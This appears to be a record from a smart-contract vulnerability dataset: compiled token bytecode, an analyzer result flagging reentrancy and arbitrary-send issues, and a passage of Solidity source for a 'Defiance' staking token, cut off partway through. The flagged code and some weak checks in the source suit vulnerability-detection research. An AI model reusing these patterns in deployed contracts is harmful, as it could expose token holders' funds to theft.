ffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b603242611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204701221545f3c7192ae7cbce5181e2bda7c5121e2a24beb478eaed0326f5c2c764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,444 |
0x90e6e082b0aa4bf6afba0d11163d920a534ebae4
|
pragma solidity ^0.5.13;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
event NotPausable();
bool public paused = false;
bool public canPause = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused || msg.sender == owner);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
**/
function pause() onlyOwner whenNotPaused public {
require(canPause == true);
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
require(paused == true);
paused = false;
emit Unpause();
}
/**
* @dev Prevent the token from ever being paused again
**/
function notPausable() onlyOwner public{
paused = false;
canPause = false;
emit NotPausable();
}
}
interface Callable {
function tokenCallback(address _from, uint256 _tokens, bytes calldata _data) external returns (bool);
}
contract Defiance is Pausable {
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 constant private INITIAL_SUPPLY = 1e25; // 1B
uint256 constant private BURN_RATE = 5; // 5% per tx
uint256 constant private SUPPLY_FLOOR = 1; // 1% of 1B = 10M
uint256 constant private MIN_STAKE_AMOUNT = 1e21; // 1,000
string constant public name = "Defiance";
string constant public symbol = "DEF";
uint8 constant public decimals = 18;
struct User {
bool whitelisted;
uint256 balance;
uint256 staked;
mapping(address => uint256) allowance;
int256 scaledPayout;
}
struct Info {
uint256 totalSupply;
uint256 totalStaked;
mapping(address => User) users;
uint256 scaledPayoutPerToken;
address admin;
}
Info private info;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed owner, address indexed spender, uint256 tokens);
event Whitelist(address indexed user, bool status);
event Stake(address indexed owner, uint256 tokens);
event Unstake(address indexed owner, uint256 tokens);
event Collect(address indexed owner, uint256 tokens);
event Burn(uint256 tokens);
constructor() public {
info.admin = msg.sender;
info.totalSupply = INITIAL_SUPPLY;
info.users[msg.sender].balance = INITIAL_SUPPLY;
emit Transfer(address(0x0), msg.sender, INITIAL_SUPPLY);
whitelist(msg.sender, true);
}
function stake(uint256 _tokens) external {
_stake(_tokens);
}
function unstake(uint256 _tokens) external {
_unstake(_tokens);
}
function collect() external returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends >= 0);
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
info.users[msg.sender].balance += _dividends;
emit Transfer(address(this), msg.sender, _dividends);
emit Collect(msg.sender, _dividends);
return _dividends;
}
function burn(uint256 _tokens) external {
require(balanceOf(msg.sender) >= _tokens);
info.users[msg.sender].balance -= _tokens;
uint256 _burnedAmount = _tokens;
if (info.totalStaked > 0) {
_burnedAmount /= 2;
info.scaledPayoutPerToken += _burnedAmount * FLOAT_SCALAR / info.totalStaked;
emit Transfer(msg.sender, address(this), _burnedAmount);
}
info.totalSupply -= _burnedAmount;
emit Transfer(msg.sender, address(0x0), _burnedAmount);
emit Burn(_burnedAmount);
}
function distribute(uint256 _tokens) external {
require(info.totalStaked > 0);
require(balanceOf(msg.sender) >= _tokens);
info.users[msg.sender].balance -= _tokens;
info.scaledPayoutPerToken += _tokens * FLOAT_SCALAR / info.totalStaked;
emit Transfer(msg.sender, address(this), _tokens);
}
function transfer(address _to, uint256 _tokens) external whenNotPaused returns (bool) {
_transfer(msg.sender, _to, _tokens);
return true;
}
function approve(address _spender, uint256 _tokens) external whenNotPaused returns (bool) {
info.users[msg.sender].allowance[_spender] = _tokens;
emit Approval(msg.sender, _spender, _tokens);
return true;
}
function transferFrom(address _from, address _to, uint256 _tokens) external whenNotPaused returns (bool) {
require(info.users[_from].allowance[msg.sender] >= _tokens);
info.users[_from].allowance[msg.sender] -= _tokens;
_transfer(_from, _to, _tokens);
return true;
}
function transferAndCall(address _to, uint256 _tokens, bytes calldata _data) external returns (bool) {
uint256 _transferred = _transfer(msg.sender, _to, _tokens);
uint32 _size;
assembly {
_size := extcodesize(_to)
}
if (_size > 0) {
require(Callable(_to).tokenCallback(msg.sender, _transferred, _data));
}
return true;
}
function bulkTransfer(address[] calldata _receivers, uint256[] calldata _amounts) external {
require(_receivers.length == _amounts.length);
for (uint256 i = 0; i < _receivers.length; i++) {
_transfer(msg.sender, _receivers[i], _amounts[i]);
}
}
function whitelist(address _user, bool _status) public {
require(msg.sender == info.admin);
info.users[_user].whitelisted = _status;
emit Whitelist(_user, _status);
}
function totalSupply() public view returns (uint256) {
return info.totalSupply;
}
function totalStaked() public view returns (uint256) {
return info.totalStaked;
}
function balanceOf(address _user) public view returns (uint256) {
return info.users[_user].balance - stakedOf(_user);
}
function stakedOf(address _user) public view returns (uint256) {
return info.users[_user].staked;
}
function dividendsOf(address _user) public view returns (uint256) {
return uint256(int256(info.scaledPayoutPerToken * info.users[_user].staked) - info.users[_user].scaledPayout) / FLOAT_SCALAR;
}
function allowance(address _user, address _spender) public view returns (uint256) {
return info.users[_user].allowance[_spender];
}
function isWhitelisted(address _user) public view returns (bool) {
return info.users[_user].whitelisted;
}
function allInfoFor(address _user) public view returns (uint256 totalTokenSupply, uint256 totalTokensStaked, uint256 userBalance, uint256 userStaked, uint256 userDividends) {
return (totalSupply(), totalStaked(), balanceOf(_user), stakedOf(_user), dividendsOf(_user));
}
function _transfer(address _from, address _to, uint256 _tokens) internal returns (uint256) {
require(balanceOf(_from) >= _tokens);
info.users[_from].balance -= _tokens;
uint256 _burnedAmount = _tokens * BURN_RATE / 100;
if (totalSupply() - _burnedAmount < INITIAL_SUPPLY * SUPPLY_FLOOR / 100 || isWhitelisted(_from)) {
_burnedAmount = 0;
}
uint256 _transferred = _tokens - _burnedAmount;
info.users[_to].balance += _transferred;
emit Transfer(_from, _to, _transferred);
if (_burnedAmount > 0) {
if (info.totalStaked > 0) {
_burnedAmount /= 2;
info.scaledPayoutPerToken += _burnedAmount * FLOAT_SCALAR / info.totalStaked;
emit Transfer(_from, address(this), _burnedAmount);
}
info.totalSupply -= _burnedAmount;
emit Transfer(_from, address(0x0), _burnedAmount);
emit Burn(_burnedAmount);
}
return _transferred;
}
function _stake(uint256 _amount) internal {
require(balanceOf(msg.sender) >= _amount);
require(stakedOf(msg.sender) + _amount >= MIN_STAKE_AMOUNT);
info.totalStaked += _amount;
info.users[msg.sender].staked += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
emit Transfer(msg.sender, address(this), _amount);
emit Stake(msg.sender, _amount);
}
function _unstake(uint256 _amount) internal {
require(stakedOf(msg.sender) >= _amount);
uint256 _burnedAmount = _amount * BURN_RATE / 100;
info.scaledPayoutPerToken += _burnedAmount * FLOAT_SCALAR / info.totalStaked;
info.totalStaked -= _amount;
info.users[msg.sender].balance -= _burnedAmount;
info.users[msg.sender].staked -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
emit Transfer(address(this), msg.sender, _amount - _burnedAmount);
emit Unstake(msg.sender, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101d95760003560e01c80635c975abb1161010457806395d89b41116100a2578063dd62ed3e11610071578063dd62ed3e14610965578063e5225381146109dd578063f2fde38b146109fb578063f59c370814610a3f576101d9565b806395d89b41146107f6578063a694fc3a14610879578063a9059cbb146108a7578063af500ba31461090d576101d9565b8063817b1cd2116100de578063817b1cd2146107565780638456cb59146107745780638da5cb5b1461077e57806391c05b0b146107c8576101d9565b80635c975abb146106d257806370a08231146106f4578063715018a61461074c576101d9565b8063313ce5671161017c5780634000aea01161014b5780634000aea01461056b57806342966c68146106265780634be8b05e1461065457806357f6b8121461065e576101d9565b8063313ce567146104bf578063323be1c5146104e35780633af32abf146105055780633f4ba83a14610561576101d9565b8063153a1f3e116101b8578063153a1f3e1461031f57806318160ddd146103ed57806323b872dd1461040b5780632e17de7814610491576101d9565b806265318b146101de57806306fdde0314610236578063095ea7b3146102b9575b600080fd5b610220600480360360208110156101f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a8f565b6040518082815260200191505060405180910390f35b61023e610b3e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561027e578082015181840152602081019050610263565b50505050905090810190601f1680156102ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610305600480360360408110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b77565b604051808215151515815260200191505060405180910390f35b6103eb6004803603604081101561033557600080fd5b810190808035906020019064010000000081111561035257600080fd5b82018360208201111561036457600080fd5b8035906020019184602083028401116401000000008311171561038657600080fd5b9091929391929390803590602001906401000000008111156103a757600080fd5b8201836020820111156103b957600080fd5b803590602001918460208302840111640100000000831117156103db57600080fd5b9091929391929390505050610cdf565b005b6103f5610d5c565b6040518082815260200191505060405180910390f35b6104776004803603606081101561042157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d69565b604051808215151515815260200191505060405180910390f35b6104bd600480360360208110156104a757600080fd5b8101908080359060200190929190505050610f11565b005b6104c7610f1d565b604051808260ff1660ff16815260200191505060405180910390f35b6104eb610f22565b604051808215151515815260200191505060405180910390f35b6105476004803603602081101561051b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f35565b604051808215151515815260200191505060405180910390f35b610569610f91565b005b61060c6004803603606081101561058157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105c857600080fd5b8201836020820111156105da57600080fd5b803590602001918460018302840111640100000000831117156105fc57600080fd5b909192939192939050505061106b565b604051808215151515815260200191505060405180910390f35b6106526004803603602081101561063c57600080fd5b810190808035906020019092919050505061119e565b005b61065c61136a565b005b6106a06004803603602081101561067457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611425565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b6106da61146b565b604051808215151515815260200191505060405180910390f35b6107366004803603602081101561070a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061147e565b6040518082815260200191505060405180910390f35b6107546114d7565b005b61075e6115d7565b6040518082815260200191505060405180910390f35b61077c6115e3565b005b610786611716565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107f4600480360360208110156107de57600080fd5b810190808035906020019092919050505061173b565b005b6107fe611847565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561083e578082015181840152602081019050610823565b50505050905090810190601f16801561086b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108a56004803603602081101561088f57600080fd5b8101908080359060200190929190505050611880565b005b6108f3600480360360408110156108bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061188c565b604051808215151515815260200191505060405180910390f35b61094f6004803603602081101561092357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611914565b6040518082815260200191505060405180910390f35b6109c76004803603604081101561097b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611963565b6040518082815260200191505060405180910390f35b6109e56119f0565b6040518082815260200191505060405180910390f35b610a3d60048036036020811015610a1157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b77565b005b610a8d60048036036040811015610a5557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611cc8565b005b600068010000000000000000600160020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154600160020160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600160030154020381610b3657fe5b049050919050565b6040518060400160405280600881526020017f44656669616e636500000000000000000000000000000000000000000000000081525081565b60008060149054906101000a900460ff161580610be057506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610be957600080fd5b81600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200